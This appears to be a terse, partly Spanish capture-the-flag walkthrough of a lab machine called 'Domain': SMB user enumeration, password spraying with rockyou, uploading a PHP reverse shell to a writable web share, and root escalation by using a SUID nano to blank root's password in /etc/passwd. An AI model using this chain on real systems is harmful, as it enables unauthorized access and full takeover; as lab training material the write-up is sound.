

Domain

```
> nmap -sCV -p80,139,445 -Pn -n -vvv 172.17.0.2
```

PORT	STATE	SERVICE	REASON	VERSION
80/tcp	open	http	syn-ack ttl 64	Apache httpd 2.4.52
_http-title: \xC2\xBFQu\xC3\xA9 es Samba?				
_http-server-header: Apache/2.4.52 (Ubuntu)				
http-methods:				
_ Supported Methods: GET POST OPTIONS HEAD				
139/tcp	open	netbios-ssn	syn-ack ttl 64	Samba smbd 4.6.2
445/tcp	open	netbios-ssn	syn-ack ttl 64	Samba smbd 4.6.2
MAC Address: 02:42:AC:11:00:02 (Unknown)				

Host script results:

```
| smb2-security-mode:
|   3:1:1:
|_   Message signing enabled but not required
|_clock-skew: 0s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 21783/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 57453/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 58197/udp): CLEAN (Timeout)
|   Check 4 (port 52786/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2025-01-12T02:09:00
|_  start_date: N/A
```

whatweb 172.17.0.2

http://172.17.0.2 [200 OK] Apache[2.4.52], Country[RESERVED][.]

```
> rpcclient -U "" 172.17.0.2 -N
rpcclient $> ls
command not found: ls
rpcclient $> dir
command not found: dir
rpcclient $> help
_____
UNIXINFO
getpwuid          Get shell and homedir
uidtosid          Convert uid to sid
_____
```

```
rpcclient $> querydispinfo2
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: james      Name: james      Desc:
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: bob       Name: bob        Desc:
```

```
> netexec smb 172.17.0.2 -u usrs -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
```

```
MB 172.17.0.2 445 20F631ECB147 [-] 20F631ECB147\bob:brendon STA
MB 172.17.0.2 445 20F631ECB147 [-] 20F631ECB147\james:star STAT
MB 172.17.0.2 445 20F631ECB147 [+] 20F631ECB147\bob:star
```

```
smbmap -H 172.17.0.2 -u bob -p star
IP: 172.17.0.2:445 Name: 172.17.0.2
Disk
_____
print$      READ ONLY      Printer Drivers
html        READ, WRITE    HTML Share
IPC$        NO ACCESS    IPC Service (20f631ecb147)
```

nos conectamos

```
smbclient //172.17.0.2/html -U usuario%pass
```

from pentest monker rev shell

```
smb: \> put reverse.php
putting file reverse.php as \reverse.php (335,4 kb/s) (average 174,2 kb/s)
```

```
$ whoami  
www-data  
$ |
```

```
www-data@20f631ecb147:/tmp$ find / -perm -4000 -ls 2>/dev/null  
483 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn  
489 44 -rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh  
551 72 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd  
609 48 -rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount  
614 40 -rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp  
625 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd  
689 56 -rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su  
715 36 -rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount  
4639 280 -rwsr-xr-x 1 root root 283144 Feb 19 2022 /usr/bin/nano  
4853 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-d
```

le sacamos la pass a root

```
www-data@20f631ecb147:/tmp$ nano /etc/passwd  
www-data@20f631ecb147:/tmp$ cat /etc/passwd  
root::0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

```
www-data@20f631ecb147:/tmp$ su root  
root@20f631ecb147:/tmp#  
root@20f631ecb147:/tmp# whoami  
root  
root@20f631ecb147:/tmp# |
```